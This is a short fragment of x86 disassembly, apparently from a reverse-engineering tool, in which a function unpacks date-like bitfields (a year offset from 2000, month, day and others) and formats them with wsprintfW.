mov dword [edx + 0x75c304], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
shr ecx, 0x19
add ecx, 0x7d0
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
shr eax, 0x15
and eax, 0xf
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
shr edx, 0x10
and edx, 0x1f
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
shr edx, 0x10
push edx
push 0x73ee40
push 0x77cc28
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
and eax, 0xffff
mov esp, ebp
pop ebp
ret